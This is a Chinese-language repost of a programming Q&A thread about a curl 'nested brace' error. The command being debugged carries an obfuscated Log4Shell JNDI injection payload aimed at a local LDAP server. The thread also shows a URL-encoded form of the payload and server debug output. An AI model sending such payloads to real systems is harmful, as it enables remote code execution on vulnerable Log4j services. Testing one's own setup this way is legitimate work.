[英]Nested Brace in URL curl syntax error with JNDI
運行以下代碼時出現錯誤。 你能告訴我語法有什么問題嗎? 我已經嘗試了所有的可能性,包括 "、雙引號等,但沒有運氣。
錯誤:curl:(3) URL position 62 中的嵌套大括號:
curl 'http://localhost:8080/rest/users/user/updateuser?cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/#Exploit}' -H 'ID:1234567' -H 'Content-Type:application/json' -H 'X-UserName:usern8' --data-raw '{"id": 1,"name": "Name","profession": "Profession"}'
您可能必須對查詢字符串進行 url 編碼。
我轉換了它,它看起來像這樣:
cmd%3D%24%7Bjndi%3A%24%7Blower%3Al%7D%24%7Blower%3Ad%7D%24%7Blower%3Aa%7D%24%7Blower%3Ap%7D%3A%2F%2F127.0.0.1%3A1389%2F%23Exploit%7D
真正的問題可能是您認為在查詢字符串中傳輸的內容。
您顯示的內容無效 JSON。
但我發送了它,這是服務器收到的。
'argv' => array (0 => 'cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',),
'REQUEST_METHOD' => 'POST',
BODY={"id": 1,"name": "Name","profession": "Profession"}
$_SERVER['QUERY_STRING'] = cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/
$_POST array ()
$_GET array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)
$_REQUEST array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)
那是您希望服務器接收的嗎?
或者您是否認為這${lower:d}
可以解決其他問題?
這看起來像一個 PHP 變量。 它從哪里來的?
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.